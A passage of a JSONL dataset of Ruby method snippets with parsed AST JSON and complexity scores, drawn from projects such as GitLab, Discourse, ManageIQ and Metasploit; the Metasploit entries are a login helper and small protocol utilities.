\\\"]\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"csrf_code_html: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csrf_code_html\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"csrf_attributes\",{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csrf_code_html\"]},\"attributes\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csrf_attributes\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"csrf_code\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csrf_attributes\"]},\"[]\",{\"type\":\"str\",\"children\":[\"value\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csrf_code\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"csrf_code: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"csrf_code\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"index.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"login\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"nick\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"pass\"]},{\"type\":\"lvar\",\"children\":[\"pwd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Login_button\"]},{\"type\":\"str\",\"children\":[\"Let's go\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"csrf_code\"]},{\"type\":\"lvar\",\"children\":[\"csrf_code\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"id=\\\"welcome-icon-header\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"id=\\\"welcome_panel\\\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"godmode\"]}]}]}]}]}","id":"5d14537d-094e-4418-b568-71020b607785"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/prometheus_helpers.rb","start_line":28,"raw_source":"def prometheus_query_with_time_url(prometheus_query, time)\n query = { query: prometheus_query, time: time.to_f }.to_query\n\n \"https://prometheus.example.com/api/v1/query?#{query}\"\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"prometheus_query_with_time_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"prometheus_query\"]},{\"type\":\"arg\",\"children\":[\"time\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"query\"]},{\"type\":\"lvar\",\"children\":[\"prometheus_query\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"to_f\"]}]}]},\"to_query\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"https://prometheus.example.com/api/v1/query?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query\"]}]}]}]}]}","id":"dc8032e5-5a86-475c-8841-1af26235379f"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/spec/enterprise/services/voice/inbound_call_builder_spec.rb","start_line":19,"raw_source":"def build_and_perform\n described_class.new(\n account: account,\n inbox: inbox,\n from_number: from_number,\n to_number: to_number,\n call_sid: call_sid\n ).perform\n end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"build_and_perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"described_class\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"send\",\"children\":[null,\"account\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"inbox\"]},{\"type\":\"send\",\"children\":[null,\"inbox\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from_number\"]},{\"type\":\"send\",\"children\":[null,\"from_number\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_number\"]},{\"type\":\"send\",\"children\":[null,\"to_number\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"call_sid\"]},{\"type\":\"send\",\"children\":[null,\"call_sid\"]}]}]}]},\"perform\"]}]}","id":"50be833a-4ace-4f7a-9dc1-472d16f18954"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/customization_template_kickstart.rb","start_line":8,"raw_source":"def self.pxe_server_filepath(pxe_server, pxe_image, mac_address)\n File.join(pxe_server.customization_directory, pxe_server_filename(pxe_image, mac_address))\n end","complexity_score":3.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"pxe_server_filepath\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pxe_server\"]},{\"type\":\"arg\",\"children\":[\"pxe_image\"]},{\"type\":\"arg\",\"children\":[\"mac_address\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pxe_server\"]},\"customization_directory\"]},{\"type\":\"send\",\"children\":[null,\"pxe_server_filename\",{\"type\":\"lvar\",\"children\":[\"pxe_image\"]},{\"type\":\"lvar\",\"children\":[\"mac_address\"]}]}]}]}","id":"d167c7ec-0e54-4c0d-9422-441e202de16f"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/ssh/options.rb","start_line":65,"raw_source":"def peer\n \"#{rhost}:#{rport}\"\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"peer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rhost\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]}]}]}","id":"696c8e90-16cb-4019-b170-f599447ef8f8"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/encrypted_command_base.rb","start_line":107,"raw_source":"def editor_args\n ENV['EDITOR']&.split\n end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"editor_args\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"EDITOR\"]}]},\"split\"]}]}","id":"034fca44-9e99-4f4c-9c63-e73b7f778b87"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/proto/kerberos/model/ticket.rb","start_line":66,"raw_source":"def encode_tkt_vno\n bn = OpenSSL::BN.new(tkt_vno.to_s)\n int = OpenSSL::ASN1::Integer.new(bn)\n\n int\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"encode_tkt_vno\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bn\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"BN\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tkt_vno\"]},\"to_s\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"int\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"ASN1\"]},\"Integer\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"bn\"]}]}]},{\"type\":\"lvar\",\"children\":[\"int\"]}]}]}","id":"11b60e44-17c9-4e32-bc50-d49196c37be8"} {"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/admin_email_logs.rb","start_line":124,"raw_source":"def visit_logs(status)\n @current_log_status = status.to_sym\n page.visit(\"/admin/email-logs/#{@current_log_status == :sent ? nil : status}\")\n self\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"visit_logs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"status\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@current_log_status\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},\"to_sym\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"visit\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/admin/email-logs/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@current_log_status\"]},\"==\",{\"type\":\"sym\",\"children\":[\"sent\"]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}]}]},{\"type\":\"self\",\"children\":[]}]}]}","id":"9e57faac-be6d-4c74-88e7-b2c48c9c7bc8"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/order.rb","start_line":789,"raw_source":"def quantity\n line_items.sum(:quantity)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"quantity\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"line_items\"]},\"sum\",{\"type\":\"sym\",\"children\":[\"quantity\"]}]}]}","id":"19eea3b8-ed1f-400b-b2e4-2a3a086149e7"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/ftp.rb","start_line":169,"raw_source":"def send_user(user, nsock = self.sock)\n raw_send(\"USER #{user}\\r\\n\", nsock)\n recv_ftp_resp(nsock)\n end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"send_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"optarg\",\"children\":[\"nsock\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sock\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"raw_send\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"USER \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"str\",\"children\":[\"\\r\\n\"]}]},{\"type\":\"lvar\",\"children\":[\"nsock\"]}]},{\"type\":\"send\",\"children\":[null,\"recv_ftp_resp\",{\"type\":\"lvar\",\"children\":[\"nsock\"]}]}]}]}","id":"a9712285-686b-42bd-a247-198b893dee1a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/background_migration/sub_batch_timeout_error.rb","start_line":7,"raw_source":"def initialize(caused_by)\n @caused_by = caused_by\n\n super(caused_by)\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"caused_by\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@caused_by\",{\"type\":\"lvar\",\"children\":[\"caused_by\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"caused_by\"]}]}]}]}","id":"54fce48d-4db9-4560-b712-22655c2d6f7b"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/manageiq/providers/infra_manager/template.rb","start_line":10,"raw_source":"def raise_created_event\n MiqEvent.raise_evm_event(self, \"vm_template\", :vm => self, :host => host)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"raise_created_event\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqEvent\"]},\"raise_evm_event\",{\"type\":\"self\",\"children\":[]},{\"type\":\"str\",\"children\":[\"vm_template\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"vm\"]},{\"type\":\"self\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[null,\"host\"]}]}]}]}]}","id":"2772e866-2238-4e1a-928f-0fbef2cfe7e8"} {"repo_name":"openproject","file_path":"./repos/openproject/app/controllers/enterprise_tokens_controller.rb","start_line":136,"raw_source":"def set_waiting_for_confirmation_flash\n flash.now[:warning] = {\n message: @trial_status.message,\n action_button_arguments: {\n tag: :a,\n href: request_resend_enterprise_trial_path,\n data: { turbo_method: :post }\n },\n action_button_content: I18n.t(\"ee.trial.resend_action\")\n }\n end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"set_waiting_for_confirmation_flash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"now\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"warning\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@trial_status\"]},\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action_button_arguments\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag\"]},{\"type\":\"sym\",\"children\":[\"a\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[null,\"request_resend_enterprise_trial_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"turbo_method\"]},{\"type\":\"sym\",\"children\":[\"post\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action_button_content\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"ee.trial.resend_action\"]}]}]}]}]}]}","id":"3be83234-94c7-4640-9505-7f624c8a4852"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-calendar/app/models/discourse_post_event/event.rb","start_line":465,"raw_source":"def upsert_event_date(starts_at, ends_at)\n finished_at = ends_at && ends_at < Time.current ? ends_at : nil\n\n existing_date = event_dates.find_by(starts_at:)\n\n if existing_date\n # Only update if something actually changed\n unless existing_date.ends_at == ends_at && existing_date.finished_at == finished_at\n existing_date.update!(ends_at:, finished_at:)\n end\n else\n event_dates.create!(starts_at:, ends_at:, finished_at:)\n end\n end","complexity_score":20.6,"ast_json":"{\"type\":\"def\",\"children\":[\"upsert_event_date\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"starts_at\"]},{\"type\":\"arg\",\"children\":[\"ends_at\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"finished_at\",{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ends_at\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ends_at\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]}]},{\"type\":\"lvar\",\"children\":[\"ends_at\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"existing_date\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"event_dates\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"starts_at\"]},{\"type\":\"lvar\",\"children\":[\"starts_at\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_date\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_date\"]},\"ends_at\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"ends_at\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_date\"]},\"finished_at\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"finished_at\"]}]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_date\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ends_at\"]},{\"type\":\"lvar\",\"children\":[\"ends_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"finished_at\"]},{\"type\":\"lvar\",\"children\":[\"finished_at\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"event_dates\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"starts_at\"]},{\"type\":\"lvar\",\"children\":[\"starts_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ends_at\"]},{\"type\":\"lvar\",\"children\":[\"ends_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"finished_at\"]},{\"type\":\"lvar\",\"children\":[\"finished_at\"]}]}]}]}]}]}]}","id":"7f15d6bb-571a-465d-a690-cbb95b03d34e"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/draft.rb","start_line":207,"raw_source":"def self.allowed_draft_topics_for_user(user)\n topics = Topic.listable_topics.secured(Guardian.new(user))\n pms = Topic.private_messages_for_user(user)\n topics.or(pms)\n end","complexity_score":7.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"allowed_draft_topics_for_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topics\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"listable_topics\"]},\"secured\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Guardian\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pms\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"private_messages_for_user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topics\"]},\"or\",{\"type\":\"lvar\",\"children\":[\"pms\"]}]}]}]}","id":"eb856dd0-5929-49da-90ca-9f41bf3780cc"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/storages/app/services/storages/upload_link_service.rb","start_line":37,"raw_source":"def initialize(storage)\n super()\n @storage = storage\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"storage\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@storage\",{\"type\":\"lvar\",\"children\":[\"storage\"]}]}]}]}","id":"06373cf5-16c4-425c-9c91-2d197abe0c49"} {"repo_name":"forem","file_path":"./repos/forem/app/controllers/admin/navigation_links_controller.rb","start_line":58,"raw_source":"def bust_navigation_links_cache\n Rails.cache.delete(\"navigation_links\")\n EdgeCache::Bust.call(\"/async_info/navigation_links\")\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"bust_navigation_links_cache\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"delete\",{\"type\":\"str\",\"children\":[\"navigation_links\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EdgeCache\"]},\"Bust\"]},\"call\",{\"type\":\"str\",\"children\":[\"/async_info/navigation_links\"]}]}]}]}","id":"8ca97aa4-72fc-4220-95b1-40a4a51815ad"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/analytics/cycle_analytics/stage_events.rb","start_line":63,"raw_source":"def self.to_enum\n enum_mapping.transform_keys(&:identifier)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"to_enum\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"enum_mapping\"]},\"transform_keys\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"identifier\"]}]}]}]}","id":"0afb0a5b-0d8e-4d2d-8375-1c62e9137d0e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/lfs_token.rb","start_line":114,"raw_source":"def secret\n case actor\n when DeployKey, Key\n actor.fingerprint_sha256.first(16) +\n # Since fingerprint is based on the public key, let's take more bytes from db_key_base\n ::Gitlab::Encryption::KeyProvider[:db_key_base_32].encryption_key.secret\n when User\n # Take the last 16 characters as they're more unique than the first 16\n actor.id.to_s + actor.encrypted_password.last(16) +\n ::Gitlab::Encryption::KeyProvider[:db_key_base].encryption_key.secret.first(16)\n end\n end","complexity_score":36.45,"ast_json":"{\"type\":\"def\",\"children\":[\"secret\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"actor\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DeployKey\"]},{\"type\":\"const\",\"children\":[null,\"Key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"actor\"]},\"fingerprint_sha256\"]},\"first\",{\"type\":\"int\",\"children\":[16]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Encryption\"]},\"KeyProvider\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"db_key_base_32\"]}]},\"encryption_key\"]},\"secret\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"actor\"]},\"id\"]},\"to_s\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"actor\"]},\"encrypted_password\"]},\"last\",{\"type\":\"int\",\"children\":[16]}]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Encryption\"]},\"KeyProvider\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"db_key_base\"]}]},\"encryption_key\"]},\"secret\"]},\"first\",{\"type\":\"int\",\"children\":[16]}]}]}]},null]}]}","id":"c101ca2e-5d25-44d7-b98a-40cca5fa25b6"} {"repo_name":"ruby_llm","file_path":"./repos/ruby_llm/lib/ruby_llm/providers/deepseek/capabilities.rb","start_line":102,"raw_source":"def capabilities_for(model_id)\n capabilities = ['streaming']\n\n capabilities << 'function_calling' if model_id.match?(/deepseek-chat/)\n\n capabilities\n end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"capabilities_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"capabilities\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"streaming\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model_id\"]},\"match?\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"deepseek-chat\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"capabilities\"]},\"<<\",{\"type\":\"str\",\"children\":[\"function_calling\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"capabilities\"]}]}]}","id":"1367d757-4669-4e14-9cf1-37ea4d76daa9"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/container_registry/gitlab_api_client.rb","start_line":34,"raw_source":"def self.statistics\n with_dummy_client(return_value_if_disabled: {}, token_config: { type: :statistics_token }, &:statistics)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"statistics\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"with_dummy_client\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"return_value_if_disabled\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token_config\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"statistics_token\"]}]}]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"statistics\"]}]}]}]}","id":"517068d9-1a71-474d-b5eb-a6778310fa3f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20250624193036_add_foreign_key_to_partial_scan_id.rb","start_line":11,"raw_source":"def down\n with_lock_retries do\n remove_foreign_key_if_exists :vulnerability_partial_scans, column: :scan_id\n end\n 